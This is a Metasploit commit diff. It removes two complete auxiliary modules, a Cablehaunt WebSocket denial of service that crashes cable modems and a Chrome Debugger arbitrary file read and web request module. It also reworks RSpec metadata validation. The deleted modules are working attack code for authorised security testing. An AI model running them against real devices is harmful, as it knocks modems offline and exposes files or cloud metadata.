stop point

This commit is contained in:
cgranleese-r7 2023-03-28 12:28:09 +01:00
parent c3a7da54d5
commit 769e2e760c
5 changed files with 156 additions and 429 deletions

View File

@ -1,132 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'eventmachine'
require 'faye/websocket'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => '"Cablehaunt" Cable Modem WebSocket DoS',
'Description' => %q{
There exists a buffer overflow vulnerability in certain
Cable Modem Spectrum Analyzer interfaces. This overflow
is exploitable, but since an exploit would differ between
every make, model, and firmware version (which also
differs from ISP to ISP), this module simply causes a
Denial of Service to test if the vulnerability is present.
},
'Author' => [
'Alexander Dalsgaard Krog (Lyrebirds)', # Original research, discovery, and PoC
'Jens Hegner Stærmose (Lyrebirds)', # Original research, discovery, and PoC
'Kasper Kohsel Terndrup (Lyrebirds)', # Original research, discovery, and PoC
'Simon Vandel Sillesen (Independent)', # Original research, discovery, and PoC
'Nicholas Starke' # msf module
],
'References' => [
['CVE', '2019-19494'],
['EDB', '47936'],
['URL', 'https://cablehaunt.com/'],
['URL', 'https://github.com/Lyrebirds/sagemcom-fast-3890-exploit']
],
'DisclosureDate' => '2020-01-07',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SERVICE_DOWN],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
Opt::RHOST('192.168.100.1'),
Opt::RPORT(8080),
OptString.new('WS_USERNAME', [true, 'WebSocket connection basic auth username', 'admin']),
OptString.new('WS_PASSWORD', [true, 'WebSocket connection basic auth password', 'password']),
OptInt.new('TIMEOUT', [true, 'Time to wait for response', 15])
]
)
deregister_options('Proxies')
deregister_options('VHOST')
deregister_options('SSL')
end
def run
res = send_request_cgi({
'method' => 'GET',
'uri' => '/',
'authorization' => basic_auth(datastore['WS_USERNAME'], datastore['WS_PASSWORD'])
})
fail_with(Failure::Unreachable, 'Cannot Connect to Cable Modem Spectrum Analyzer Web Service') if res.nil?
fail_with(Failure::Unknown, 'Credentials were incorrect') if res.code != 200
@succeeded = false
EM.run do
print_status("Attempting Connection to #{datastore['RHOST']}")
driver = Faye::WebSocket::Client.new("ws://#{datastore['RHOST']}:#{datastore['RPORT']}/Frontend", ['rpc-frontend'])
driver.on :open do
print_status('Opened connection')
EM::Timer.new(1) do
print_status('Sending payload')
payload = Rex::Text.rand_text_alphanumeric(7000..8000)
driver.send({
jsonrpc: '2.0',
method: 'Frontend::GetFrontendSpectrumData',
params: {
coreID: 0,
fStartHz: payload,
fStopHz: 1000000000,
fftSize: 1024,
gain: 1
},
id: '0'
}.to_json)
rescue StandardError
fail_with(Failure::Unreachable, 'Could not establish websocket connection')
end
end
EM::Timer.new(10) do
print_status('Checking Modem Status')
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => '/'
})
if res.nil?
@succeeded = true
print_status('Cable Modem unreachable')
else
fail_with(Failure::Unknown, 'Host still reachable')
end
rescue StandardError
@succeeded = true
print_status('Cable Modem unreachable')
end
end
EM::Timer.new(datastore['TIMEOUT']) do
EventMachine.stop
if @succeeded
print_good('Exploit delivered and cable modem unreachable.')
else
fail_with(Failure::Unknown, 'Unknown failure occurred')
end
end
end
end
end

View File

@ -1,132 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'eventmachine'
require 'faye/websocket'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Chrome Debugger Arbitrary File Read / Arbitrary Web Request',
'Description' => %q{
This module uses the Chrome Debugger's API to read
files off the remote file system, or to make web requests
from a remote machine. Useful for cloud metadata endpoints!
},
'Author' => [
'Adam Baldwin (Evilpacket)', # Original ideas, research, proof of concept, and msf module
'Nicholas Starke (The King Pig Demon)' # msf module
],
'DisclosureDate' => '2019-09-24',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [],
'SideEffects' => [],
'Reliability' => []
}
)
)
register_options(
[
Opt::RPORT(9222),
OptString.new('FILEPATH', [false, 'File to fetch from remote machine.']),
OptString.new('URL', [false, 'Url to fetch from remote machine.']),
OptInt.new('TIMEOUT', [true, 'Time to wait for response', 10])
]
)
deregister_options('Proxies')
deregister_options('VHOST')
deregister_options('SSL')
end
def run
if (datastore['FILEPATH'].nil? || datastore['FILEPATH'].empty?) && (datastore['URL'].nil? || datastore['URL'].empty?)
print_error('Must set FilePath or Url')
return
end
res = send_request_cgi({
'method' => 'GET',
'uri' => '/json'
})
if res.nil?
print_error('Bad Response')
return
end
data = JSON.parse(res.body).pop
EM.run do
file_path = datastore['FILEPATH']
url = datastore['URL']
if file_path
fetch_uri = "file://#{file_path}"
else
fetch_uri = url
end
print_status("Attempting Connection to #{data['webSocketDebuggerUrl']}")
unless data.key?('webSocketDebuggerUrl')
fail_with(Failure::Unknown, 'Invalid JSON')
end
driver = Faye::WebSocket::Client.new(data['webSocketDebuggerUrl'])
driver.on :open do
print_status('Opened connection')
id = rand(1024 * 1024 * 1024)
@succeeded = false
EM::Timer.new(1) do
print_status("Attempting to load url #{fetch_uri}")
driver.send({
'id' => id,
'method' => 'Page.navigate',
'params' => {
url: fetch_uri
}
}.to_json)
end
EM::Timer.new(3) do
print_status('Sending request for data')
driver.send({
'id' => id + 1,
'method' => 'Runtime.evaluate',
'params' => {
'expression' => 'document.documentElement.outerHTML'
}
}.to_json)
end
end
driver.on :message do |event|
print_status('Received Data')
data = JSON.parse(event.data)
if data['result']['result']
loot_path = store_loot('chrome.debugger.resource', 'text/plain', rhost, data['result']['result']['value'], fetch_uri, 'Resource Gathered via Chrome Debugger')
print_good("Stored #{fetch_uri} at #{loot_path}")
@succeeded = true
end
end
EM::Timer.new(datastore['TIMEOUT']) do
EventMachine.stop
fail_with(Failure::Unknown, 'Unknown failure occurred') unless @succeeded
end
end
end
end

View File

@ -27,4 +27,8 @@ RSpec.describe 'modules', :content do
module_type: 'post',
modules_pathname: modules_pathname,
type_directory: 'posts'
end
it_should_behave_like 'all modules with module type can be instantiated',
module_type: 'payload',
modules_pathname: modules_pathname,
type_directory: 'payload'
end

View File

@ -1,4 +1,23 @@
RSpec.shared_examples_for 'a module with valid metadata' do
require 'active_model'
# class IsAnArray < ActiveModel::Validator
# def validate(mod)
# unless mod.author.is_a?(Array)
# mod.errors.add :author, 'must be an array'
# end
# end
# end
class ModuleValidator < SimpleDelegator
include ActiveModel::Validations
attr_reader :mod
def initialize(mod)
super
@mod = mod
end
#
# Acceptable Stability ratings
#
@ -59,184 +78,164 @@ RSpec.shared_examples_for 'a module with valid metadata' do
'OVE'
]
#
# Module name bad characters
#
module_name_bad_chars = %w[& < = >]
# RSpec's API doesn't support a way to to not run tests without them appearing as 'skipped' in the console output
def mark_as_passed(example)
example.instance_variable_set(:@executed, true)
end
around(:each, :has_notes) do |example|
if subject.notes.empty?
mark_as_passed(example)
else
example.run
def validate_excellent_ranking
if rank_to_s == 'excellent' && !stability.include?('crash-safe')
errors.add :stability, 'module must have CRASH_SAFE stability value if module has an ExcellentRanking'
end
end
around(:each, :has_excellent_ranking) do |example|
if subject.rank_to_s == 'excellent'
example.run
else
mark_as_passed(example)
def validate_authors
unless author.is_a?(Array)
errors.add :author, 'module authors must be an array'
end
end
around(:each, :is_an_exploit) do |example|
# Only exploits require notes
if subject.exploit?
example.run
else
mark_as_passed(example)
def validate_references
unless references.is_a?(Array)
errors.add :references, 'module references must be an array'
end
end
around(:each, :is_a_payload) do |example|
# Only exploits require notes
if subject.payload?
example.run
else
mark_as_passed(example)
def validate_description
unless description.is_a?(String)
errors.add :description, 'module description must be a string'
end
end
context 'when notes are present', :has_notes do
describe '#stability' do
context 'when the module has an excellent stability rating', :has_excellent_ranking do
it 'has valid Stability notes values' do
expect(subject.stability).to be_kind_of(Array)
expect(subject.stability - valid_stability_values).to be_empty
end
it 'includes crash-safe in the stability notes' do
expect(subject.stability).to include('crash-safe')
end
end
end
describe '#side_effects' do
it 'has valid Side Effect notes values' do
expect(subject.side_effects).to be_kind_of(Array)
expect(subject.side_effects - valid_side_effect_values).to be_empty
end
end
describe '#reliability' do
it 'has valid Reliability notes values' do
expect(subject.reliability).to be_kind_of(Array)
expect(subject.reliability - valid_reliability_values).to be_empty
end
def validate_stability
unless stability.is_a?(Array)
errors.add :stability, 'module stability must be an array'
end
end
describe '#references' do
context 'the module' do
it 'has valid References values' do
expect(subject.references).to be_kind_of(Array)
references_ctx_id_list = []
subject.references.each { |ref| references_ctx_id_list << ref.ctx_id }
expect(references_ctx_id_list - valid_ctx_id_values).to be_empty
end
# it 'has a CVE present', :is_an_exploit do
# references_ctx_id_list = []
# required_references = %w[CVE BID ZDI MSB WPVDB EDB]
# subject.references.each { |ref| references_ctx_id_list << ref.ctx_id }
#
# # if !references_ctx_id_list.include?(acceptable_refs)
# # $stderr.puts subject.file_path
# # end
#
# expect(references_ctx_id_list & required_references).to_not be_empty
# end
def validate_side_effects
unless side_effects.is_a?(Array)
errors.add :side_effects, 'module side effects must be an array'
end
end
describe '#license' do
context 'the module' do
it 'has a valid license value' do
expect(subject.license).to be_in(LICENSES)
end
def validate_reliability
unless reliability.is_a?(Array)
errors.add :reliability, 'module reliability must be an array'
end
end
describe '#ranking' do
context 'when the module has a ranking present' do
it 'has a valid ranking value' do
expect(subject.rank).to be_in(Msf::RankingName.keys)
end
end
def requires_author?
#
# Module types that require authors
#
requires_authors = %w[exploits auxiliary post]
requires_authors.include?(type)
end
describe '#authors' do
context 'the module' do
it 'has valid authors values' do
expect(subject.references).to be_kind_of(Array)
expect(subject.author).to_not be_empty
end
end
def payload?
type == 'payload'
end
describe '#name' do
context 'the module name' do
it ' should not contain bad characters' do
expect(subject.name).to_not include(*module_name_bad_chars)
end
end
def has_notes?
!notes.empty?
end
describe '#file_path' do
context 'when the module has a file path' do
let(:module_path) do
subject.file_path.split('/').last
end
validates :mod, presence: true
it 'should be snake case' do
expect(module_path).to match(/^[a-z0-9]+(?:_[a-z0-9]+)*\.rb$/)
end
with_options if: :has_notes? do |mod|
mod.validates :stability,
presence: true,
if: :validate_excellent_ranking
# Not sure if this is needed as it is caught in the above regex.
# Will leave here for now as I am attempting to replicate `msftidy.rb` which
# may be allowing for edges I haven't considered
it "should a '.rb' file" do
expect(module_path).to end_with('.rb')
end
end
mod.validates :stability,
inclusion: { in: valid_stability_values, message: 'must include a valid stability value' },
if: :validate_stability
mod.validates :side_effects,
inclusion: { in: valid_side_effect_values, message: 'must include a valid side effect value' },
if: :validate_side_effects
mod.validates :reliability,
inclusion: { in: valid_reliability_values, message: 'must include a valid reliability value' },
if: :validate_reliability
end
# ## TODO - Need to figure out if this can be moved from `msfidy.rb` or not
# describe '#disclosure_date' do
# context 'the module' do
# it 'has a disclosure date present', :is_an_exploit do
# expect(subject.disclosure_date).to be_kind_of(Date)
# end
# end
# end
validates :references,
presence: true,
inclusion: { in: valid_ctx_id_values, message: 'must include a valid reference' },
if: :validate_references
describe '#description' do
context 'the module' do
it 'has a description present', :is_a_payload do
expect(subject.description).to be_kind_of(String)
expect(subject.description).to_not be_empty
end
end
end
validates :license,
presence: true,
inclusion: { in: LICENSES, message: 'must include a valid license' }
## TODO - As of 21/03/2023
# 3534 examples, 1857 failures
# describe '#notes' do
# context 'the module' do
# it 'has notes present', focus: true do
# # Only exploits require notes
# next unless subject.exploit?
#
# # expect(subject.notes).to be_kind_of(Hash)
# expect(subject.notes).to_not be_empty
# end
# end
# end
validates :rank,
presence: true,
inclusion: { in: Msf::RankingName.keys, message: 'must include a valid ranking' }
# validates :author_to_s, # TODO: Bad error message
# format: { with: /\A[^@.]+\z/, message: 'must not include Twitter handles, please. Try leaving it in a comment instead.'}
validates :author,
presence: true,
if: :requires_author? && :validate_authors
validates :name,
presence: true,
format: { with: /\A[^&<>]+\z/, message: 'must not contain the characters ^&<>' }
validates :file_path,
presence: true,
if: -> { file_path.split('/').last.match(/^[a-z0-9]+(?:_[a-z0-9]+)*\.rb$/) }
validates :description,
presence: true,
if: :validate_description,
unless: :payload?
end
RSpec.shared_examples_for 'a module with valid metadata' do
# def get_reference_ctx_id
# references_ctx_id_list = []
# subject.references.each { |ref| references_ctx_id_list << ref.ctx_id }
#
# references_ctx_id_list
# end
# let(:mod) do
# framework = instance_double(Msf::Framework)
# instance_double(
# Msf::Exploit,
# framework: framework,
# name: 'Testing bad chars',
# author: ['Foobar'], # TODO: Only exploits, auxiliary and post require authors
# license: MSF_LICENSE,
# references: ['CVE'], # TODO: Needs to access the keys and compare
# rank_to_s: 'excellent',
# rank: 600,
# notes: {},
# stability: ['crash-safe'],
# side_effects: ['artifacts-on-disk'],
# reliability: ['first-attempt-fail'],
# file_path: 'modules/exploits/windows/smb/cve_2020_0796_smbghost.rb',
# description: %q{
# A vulnerability exists within the Microsoft Server Message Block 3.1.1 (SMBv3) protocol that can be leveraged to
# execute code on a vulnerable server. This remove exploit implementation leverages this flaw to execute code
# in the context of the kernel, finally yielding a session as NT AUTHORITY\SYSTEM in spoolsv.exe. Exploitation
# can take a few minutes as the necessary data is gathered.
# }
# )
# end
it 'verifies modules metadata' do
# aggregate_failures do
# Verify we have a instance of the module
expect(subject).to_not be_nil
validator = ModuleValidator.new(subject)
validator.validate
# expect(validator).to be_valid
expect(validator.errors.full_messages).to be_kind_of(Array)
# end
end
end

View File

@ -23,29 +23,17 @@ RSpec.shared_examples_for 'all modules with module type can be instantiated' do
module_reference_pathname = module_pathname.relative_path_from(type_pathname)
module_reference_name = module_reference_pathname.to_path.gsub(module_extension_regexp, '')
context module_reference_name do
def framework
@framework ||= Msf::Simple::Framework.create(
'ConfigDirectory' => Rails.application.paths['modules'].expanded.first,
'DeferModuleLoads' => true
)
end
# next unless module_reference_name.include?('windows/smb/cve_2020_0796_smbghost')
before(:all) do
@module = load_and_create_module(
context module_reference_name do
subject do
load_and_create_module(
module_type: module_type,
modules_path: modules_path,
reference_name: module_reference_name
)
end
subject { @module }
it 'can be instantiated' do
expect { subject }.to_not raise_exception
expect(subject).to_not be_nil
end
it_behaves_like 'a module with valid metadata'
end
end